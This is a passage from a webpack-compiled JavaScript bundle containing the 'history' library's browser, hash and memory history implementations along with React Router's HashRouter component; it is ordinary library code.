// See https://github.com/ReactTraining/history/pull/289
return {};
}
};
/**
* Creates a history object that uses the HTML5 history API including
* pushState, replaceState, and the popstate event.
*/
var createBrowserHistory = function createBrowserHistory() {
var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["b" /* canUseDOM */], 'Browser history needs a DOM');
var globalHistory = window.history;
var canUseHistory = Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["g" /* supportsHistory */])();
var needsHashChangeListener = !Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["h" /* supportsPopStateOnHashChange */])();
var _props$forceRefresh = props.forceRefresh,
forceRefresh = _props$forceRefresh === undefined ? false : _props$forceRefresh,
_props$getUserConfirm = props.getUserConfirmation,
getUserConfirmation = _props$getUserConfirm === undefined ? __WEBPACK_IMPORTED_MODULE_5__DOMUtils__["c" /* getConfirmation */] : _props$getUserConfirm,
_props$keyLength = props.keyLength,
keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;
var basename = props.basename ? Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["g" /* stripTrailingSlash */])(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */])(props.basename)) : '';
var getDOMLocation = function getDOMLocation(historyState) {
var _ref = historyState || {},
key = _ref.key,
state = _ref.state;
var _window$location = window.location,
pathname = _window$location.pathname,
search = _window$location.search,
hash = _window$location.hash;
var path = pathname + search + hash;
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!basename || Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["c" /* hasBasename */])(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path "' + path + '" to begin with "' + basename + '".');
if (basename) path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["e" /* stripBasename */])(path, basename);
return Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, key);
};
var createKey = function createKey() {
return Math.random().toString(36).substr(2, keyLength);
};
var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_4__createTransitionManager__["a" /* default */])();
var setState = function setState(nextState) {
_extends(history, nextState);
history.length = globalHistory.length;
transitionManager.notifyListeners(history.location, history.action);
};
var handlePopState = function handlePopState(event) {
// Ignore extraneous popstate events in WebKit.
if (Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["d" /* isExtraneousPopstateEvent */])(event)) return;
handlePop(getDOMLocation(event.state));
};
var handleHashChange = function handleHashChange() {
handlePop(getDOMLocation(getHistoryState()));
};
var forceNextPop = false;
var handlePop = function handlePop(location) {
if (forceNextPop) {
forceNextPop = false;
setState();
} else {
var action = 'POP';
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (ok) {
setState({ action: action, location: location });
} else {
revertPop(location);
}
});
}
};
var revertPop = function revertPop(fromLocation) {
var toLocation = history.location;
// TODO: We could probably make this more reliable by
// keeping a list of keys we've seen in sessionStorage.
// Instead, we just default to 0 for keys we don't know.
var toIndex = allKeys.indexOf(toLocation.key);
if (toIndex === -1) toIndex = 0;
var fromIndex = allKeys.indexOf(fromLocation.key);
if (fromIndex === -1) fromIndex = 0;
var delta = toIndex - fromIndex;
if (delta) {
forceNextPop = true;
go(delta);
}
};
var initialLocation = getDOMLocation(getHistoryState());
var allKeys = [initialLocation.key];
// Public interface
var createHref = function createHref(location) {
return basename + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
};
var push = function push(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');
var action = 'PUSH';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
var href = createHref(location);
var key = location.key,
state = location.state;
if (canUseHistory) {
globalHistory.pushState({ key: key, state: state }, null, href);
if (forceRefresh) {
window.location.href = href;
} else {
var prevIndex = allKeys.indexOf(history.location.key);
var nextKeys = allKeys.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);
nextKeys.push(location.key);
allKeys = nextKeys;
setState({ action: action, location: location });
}
} else {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Browser history cannot push state in browsers that do not support HTML5 history');
window.location.href = href;
}
});
};
var replace = function replace(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');
var action = 'REPLACE';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
var href = createHref(location);
var key = location.key,
state = location.state;
if (canUseHistory) {
globalHistory.replaceState({ key: key, state: state }, null, href);
if (forceRefresh) {
window.location.replace(href);
} else {
var prevIndex = allKeys.indexOf(history.location.key);
if (prevIndex !== -1) allKeys[prevIndex] = location.key;
setState({ action: action, location: location });
}
} else {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Browser history cannot replace state in browsers that do not support HTML5 history');
window.location.replace(href);
}
});
};
var go = function go(n) {
globalHistory.go(n);
};
var goBack = function goBack() {
return go(-1);
};
var goForward = function goForward() {
return go(1);
};
var listenerCount = 0;
var checkDOMListeners = function checkDOMListeners(delta) {
listenerCount += delta;
if (listenerCount === 1) {
Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, PopStateEvent, handlePopState);
if (needsHashChangeListener) Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, HashChangeEvent, handleHashChange);
} else if (listenerCount === 0) {
Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, PopStateEvent, handlePopState);
if (needsHashChangeListener) Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, HashChangeEvent, handleHashChange);
}
};
var isBlocked = false;
var block = function block() {
var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var unblock = transitionManager.setPrompt(prompt);
if (!isBlocked) {
checkDOMListeners(1);
isBlocked = true;
}
return function () {
if (isBlocked) {
isBlocked = false;
checkDOMListeners(-1);
}
return unblock();
};
};
var listen = function listen(listener) {
var unlisten = transitionManager.appendListener(listener);
checkDOMListeners(1);
return function () {
checkDOMListeners(-1);
unlisten();
};
};
var history = {
length: globalHistory.length,
action: 'POP',
location: initialLocation,
createHref: createHref,
push: push,
replace: replace,
go: go,
goBack: goBack,
goForward: goForward,
block: block,
listen: listen
};
return history;
};
/* harmony default export */ __webpack_exports__["a"] = (createBrowserHistory);
/***/ }),
/* 141 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
function isAbsolute(pathname) {
return pathname.charAt(0) === '/';
}
// About 1.5x faster than the two-arg version of Array#splice()
function spliceOne(list, index) {
for (var i = index, k = i + 1, n = list.length; k < n; i += 1, k += 1) {
list[i] = list[k];
}
list.pop();
}
// This implementation is based heavily on node's url.parse
function resolvePathname(to) {
var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var toParts = to && to.split('/') || [];
var fromParts = from && from.split('/') || [];
var isToAbs = to && isAbsolute(to);
var isFromAbs = from && isAbsolute(from);
var mustEndAbs = isToAbs || isFromAbs;
if (to && isAbsolute(to)) {
// to is absolute
fromParts = toParts;
} else if (toParts.length) {
// to is relative, drop the filename
fromParts.pop();
fromParts = fromParts.concat(toParts);
}
if (!fromParts.length) return '/';
var hasTrailingSlash = void 0;
if (fromParts.length) {
var last = fromParts[fromParts.length - 1];
hasTrailingSlash = last === '.' || last === '..' || last === '';
} else {
hasTrailingSlash = false;
}
var up = 0;
for (var i = fromParts.length; i >= 0; i--) {
var part = fromParts[i];
if (part === '.') {
spliceOne(fromParts, i);
} else if (part === '..') {
spliceOne(fromParts, i);
up++;
} else if (up) {
spliceOne(fromParts, i);
up--;
}
}
if (!mustEndAbs) for (; up--; up) {
fromParts.unshift('..');
}if (mustEndAbs && fromParts[0] !== '' && (!fromParts[0] || !isAbsolute(fromParts[0]))) fromParts.unshift('');
var result = fromParts.join('/');
if (hasTrailingSlash && result.substr(-1) !== '/') result += '/';
return result;
}
/* harmony default export */ __webpack_exports__["a"] = (resolvePathname);
/***/ }),
/* 142 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
function valueEqual(a, b) {
if (a === b) return true;
if (a == null || b == null) return false;
if (Array.isArray(a)) {
return Array.isArray(b) && a.length === b.length && a.every(function (item, index) {
return valueEqual(item, b[index]);
});
}
var aType = typeof a === 'undefined' ? 'undefined' : _typeof(a);
var bType = typeof b === 'undefined' ? 'undefined' : _typeof(b);
if (aType !== bType) return false;
if (aType === 'object') {
var aValue = a.valueOf();
var bValue = b.valueOf();
if (aValue !== a || bValue !== b) return valueEqual(aValue, bValue);
var aKeys = Object.keys(a);
var bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) return false;
return aKeys.every(function (key) {
return valueEqual(a[key], b[key]);
});
}
return false;
}
/* harmony default export */ __webpack_exports__["a"] = (valueEqual);
/***/ }),
/* 143 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__createTransitionManager__ = __webpack_require__(46);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__DOMUtils__ = __webpack_require__(74);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var HashChangeEvent = 'hashchange';
var HashPathCoders = {
hashbang: {
encodePath: function encodePath(path) {
return path.charAt(0) === '!' ? path : '!/' + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["f" /* stripLeadingSlash */])(path);
},
decodePath: function decodePath(path) {
return path.charAt(0) === '!' ? path.substr(1) : path;
}
},
noslash: {
encodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["f" /* stripLeadingSlash */],
decodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */]
},
slash: {
encodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */],
decodePath: __WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */]
}
};
var getHashPath = function getHashPath() {
// We can't use window.location.hash here because it's not
// consistent across browsers - Firefox will pre-decode it!
var href = window.location.href;
var hashIndex = href.indexOf('#');
return hashIndex === -1 ? '' : href.substring(hashIndex + 1);
};
var pushHashPath = function pushHashPath(path) {
return window.location.hash = path;
};
var replaceHashPath = function replaceHashPath(path) {
var hashIndex = window.location.href.indexOf('#');
window.location.replace(window.location.href.slice(0, hashIndex >= 0 ? hashIndex : 0) + '#' + path);
};
var createHashHistory = function createHashHistory() {
var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["b" /* canUseDOM */], 'Hash history needs a DOM');
var globalHistory = window.history;
var canGoWithoutReload = Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["f" /* supportsGoWithoutReloadUsingHash */])();
var _props$getUserConfirm = props.getUserConfirmation,
getUserConfirmation = _props$getUserConfirm === undefined ? __WEBPACK_IMPORTED_MODULE_5__DOMUtils__["c" /* getConfirmation */] : _props$getUserConfirm,
_props$hashType = props.hashType,
hashType = _props$hashType === undefined ? 'slash' : _props$hashType;
var basename = props.basename ? Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["g" /* stripTrailingSlash */])(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["a" /* addLeadingSlash */])(props.basename)) : '';
var _HashPathCoders$hashT = HashPathCoders[hashType],
encodePath = _HashPathCoders$hashT.encodePath,
decodePath = _HashPathCoders$hashT.decodePath;
var getDOMLocation = function getDOMLocation() {
var path = decodePath(getHashPath());
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!basename || Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["c" /* hasBasename */])(path, basename), 'You are attempting to use a basename on a page whose URL path does not begin ' + 'with the basename. Expected path "' + path + '" to begin with "' + basename + '".');
if (basename) path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["e" /* stripBasename */])(path, basename);
return Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path);
};
var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_4__createTransitionManager__["a" /* default */])();
var setState = function setState(nextState) {
_extends(history, nextState);
history.length = globalHistory.length;
transitionManager.notifyListeners(history.location, history.action);
};
var forceNextPop = false;
var ignorePath = null;
var handleHashChange = function handleHashChange() {
var path = getHashPath();
var encodedPath = encodePath(path);
if (path !== encodedPath) {
// Ensure we always have a properly-encoded hash.
replaceHashPath(encodedPath);
} else {
var location = getDOMLocation();
var prevLocation = history.location;
if (!forceNextPop && Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["b" /* locationsAreEqual */])(prevLocation, location)) return; // A hashchange doesn't always == location change.
if (ignorePath === Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location)) return; // Ignore this change; we already setState in push/replace.
ignorePath = null;
handlePop(location);
}
};
var handlePop = function handlePop(location) {
if (forceNextPop) {
forceNextPop = false;
setState();
} else {
var action = 'POP';
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (ok) {
setState({ action: action, location: location });
} else {
revertPop(location);
}
});
}
};
var revertPop = function revertPop(fromLocation) {
var toLocation = history.location;
// TODO: We could probably make this more reliable by
// keeping a list of paths we've seen in sessionStorage.
// Instead, we just default to 0 for paths we don't know.
var toIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(toLocation));
if (toIndex === -1) toIndex = 0;
var fromIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(fromLocation));
if (fromIndex === -1) fromIndex = 0;
var delta = toIndex - fromIndex;
if (delta) {
forceNextPop = true;
go(delta);
}
};
// Ensure the hash is encoded properly before doing anything else.
var path = getHashPath();
var encodedPath = encodePath(path);
if (path !== encodedPath) replaceHashPath(encodedPath);
var initialLocation = getDOMLocation();
var allPaths = [Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(initialLocation)];
// Public interface
var createHref = function createHref(location) {
return '#' + encodePath(basename + Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location));
};
var push = function push(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Hash history cannot push state; it is ignored');
var action = 'PUSH';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, undefined, undefined, history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
var path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
var encodedPath = encodePath(basename + path);
var hashChanged = getHashPath() !== encodedPath;
if (hashChanged) {
// We cannot tell if a hashchange was caused by a PUSH, so we'd
// rather setState here and ignore the hashchange. The caveat here
// is that other hash histories in the page will consider it a POP.
ignorePath = path;
pushHashPath(encodedPath);
var prevIndex = allPaths.lastIndexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(history.location));
var nextPaths = allPaths.slice(0, prevIndex === -1 ? 0 : prevIndex + 1);
nextPaths.push(path);
allPaths = nextPaths;
setState({ action: action, location: location });
} else {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(false, 'Hash history cannot PUSH the same path; a new entry will not be added to the history stack');
setState();
}
});
};
var replace = function replace(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(state === undefined, 'Hash history cannot replace state; it is ignored');
var action = 'REPLACE';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, undefined, undefined, history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
var path = Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(location);
var encodedPath = encodePath(basename + path);
var hashChanged = getHashPath() !== encodedPath;
if (hashChanged) {
// We cannot tell if a hashchange was caused by a REPLACE, so we'd
// rather setState here and ignore the hashchange. The caveat here
// is that other hash histories in the page will consider it a POP.
ignorePath = path;
replaceHashPath(encodedPath);
}
var prevIndex = allPaths.indexOf(Object(__WEBPACK_IMPORTED_MODULE_3__PathUtils__["b" /* createPath */])(history.location));
if (prevIndex !== -1) allPaths[prevIndex] = path;
setState({ action: action, location: location });
});
};
var go = function go(n) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(canGoWithoutReload, 'Hash history go(n) causes a full page reload in this browser');
globalHistory.go(n);
};
var goBack = function goBack() {
return go(-1);
};
var goForward = function goForward() {
return go(1);
};
var listenerCount = 0;
var checkDOMListeners = function checkDOMListeners(delta) {
listenerCount += delta;
if (listenerCount === 1) {
Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["a" /* addEventListener */])(window, HashChangeEvent, handleHashChange);
} else if (listenerCount === 0) {
Object(__WEBPACK_IMPORTED_MODULE_5__DOMUtils__["e" /* removeEventListener */])(window, HashChangeEvent, handleHashChange);
}
};
var isBlocked = false;
var block = function block() {
var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
var unblock = transitionManager.setPrompt(prompt);
if (!isBlocked) {
checkDOMListeners(1);
isBlocked = true;
}
return function () {
if (isBlocked) {
isBlocked = false;
checkDOMListeners(-1);
}
return unblock();
};
};
var listen = function listen(listener) {
var unlisten = transitionManager.appendListener(listener);
checkDOMListeners(1);
return function () {
checkDOMListeners(-1);
unlisten();
};
};
var history = {
length: globalHistory.length,
action: 'POP',
location: initialLocation,
createHref: createHref,
push: push,
replace: replace,
go: go,
goBack: goBack,
goForward: goForward,
block: block,
listen: listen
};
return history;
};
/* harmony default export */ __webpack_exports__["a"] = (createHashHistory);
/***/ }),
/* 144 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__createTransitionManager__ = __webpack_require__(46);
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var clamp = function clamp(n, lowerBound, upperBound) {
return Math.min(Math.max(n, lowerBound), upperBound);
};
/**
* Creates a history object that stores locations in memory.
*/
var createMemoryHistory = function createMemoryHistory() {
var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
var getUserConfirmation = props.getUserConfirmation,
_props$initialEntries = props.initialEntries,
initialEntries = _props$initialEntries === undefined ? ['/'] : _props$initialEntries,
_props$initialIndex = props.initialIndex,
initialIndex = _props$initialIndex === undefined ? 0 : _props$initialIndex,
_props$keyLength = props.keyLength,
keyLength = _props$keyLength === undefined ? 6 : _props$keyLength;
var transitionManager = Object(__WEBPACK_IMPORTED_MODULE_3__createTransitionManager__["a" /* default */])();
var setState = function setState(nextState) {
_extends(history, nextState);
history.length = history.entries.length;
transitionManager.notifyListeners(history.location, history.action);
};
var createKey = function createKey() {
return Math.random().toString(36).substr(2, keyLength);
};
var index = clamp(initialIndex, 0, initialEntries.length - 1);
var entries = initialEntries.map(function (entry) {
return typeof entry === 'string' ? Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(entry, undefined, createKey()) : Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(entry, undefined, entry.key || createKey());
});
// Public interface
var createHref = __WEBPACK_IMPORTED_MODULE_1__PathUtils__["b" /* createPath */];
var push = function push(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to push when the 1st ' + 'argument is a location-like object that already has state; it is ignored');
var action = 'PUSH';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
var prevIndex = history.index;
var nextIndex = prevIndex + 1;
var nextEntries = history.entries.slice(0);
if (nextEntries.length > nextIndex) {
nextEntries.splice(nextIndex, nextEntries.length - nextIndex, location);
} else {
nextEntries.push(location);
}
setState({
action: action,
location: location,
index: nextIndex,
entries: nextEntries
});
});
};
var replace = function replace(path, state) {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!((typeof path === 'undefined' ? 'undefined' : _typeof(path)) === 'object' && path.state !== undefined && state !== undefined), 'You should avoid providing a 2nd state argument to replace when the 1st ' + 'argument is a location-like object that already has state; it is ignored');
var action = 'REPLACE';
var location = Object(__WEBPACK_IMPORTED_MODULE_2__LocationUtils__["a" /* createLocation */])(path, state, createKey(), history.location);
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (!ok) return;
history.entries[history.index] = location;
setState({ action: action, location: location });
});
};
var go = function go(n) {
var nextIndex = clamp(history.index + n, 0, history.entries.length - 1);
var action = 'POP';
var location = history.entries[nextIndex];
transitionManager.confirmTransitionTo(location, action, getUserConfirmation, function (ok) {
if (ok) {
setState({
action: action,
location: location,
index: nextIndex
});
} else {
// Mimic the behavior of DOM histories by
// causing a render after a cancelled POP.
setState();
}
});
};
var goBack = function goBack() {
return go(-1);
};
var goForward = function goForward() {
return go(1);
};
var canGo = function canGo(n) {
var nextIndex = history.index + n;
return nextIndex >= 0 && nextIndex < history.entries.length;
};
var block = function block() {
var prompt = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
return transitionManager.setPrompt(prompt);
};
var listen = function listen(listener) {
return transitionManager.appendListener(listener);
};
var history = {
length: entries.length,
action: 'POP',
location: entries[index],
index: index,
entries: entries,
createHref: createHref,
push: push,
replace: replace,
go: go,
goBack: goBack,
goForward: goForward,
canGo: canGo,
block: block,
listen: listen
};
return history;
};
/* harmony default export */ __webpack_exports__["a"] = (createMemoryHistory);
/***/ }),
/* 145 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(47);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for a <Router> that uses window.location.hash.
*/
var HashRouter = function (_React$Component) {
_inherits(HashRouter, _React$Component);
function HashRouter() {
var _temp, _this, _ret;
_classCallCheck(this, HashRouter);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["b" /* createHashHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
}
HashRouter.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<HashRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { HashRouter as Router }`.");
};
HashRouter.prototype.render = function render() {
return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
};
return HashRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);
HashRouter.propTypes = {
basename: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.string,
getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
hashType: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.oneOf(["hashbang", "noslash", "slash"]),
children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};
/* harmony default export */ __webpack_exports__["a"] = (HashRouter);
/***/ }),
/* 146 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_MemoryRouter__ = __webpack_require__(147);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_MemoryRouter__["a" /* default */]);
/***/ }),
/* 147 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(48);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for a <Router> that stores location in memory.
*/
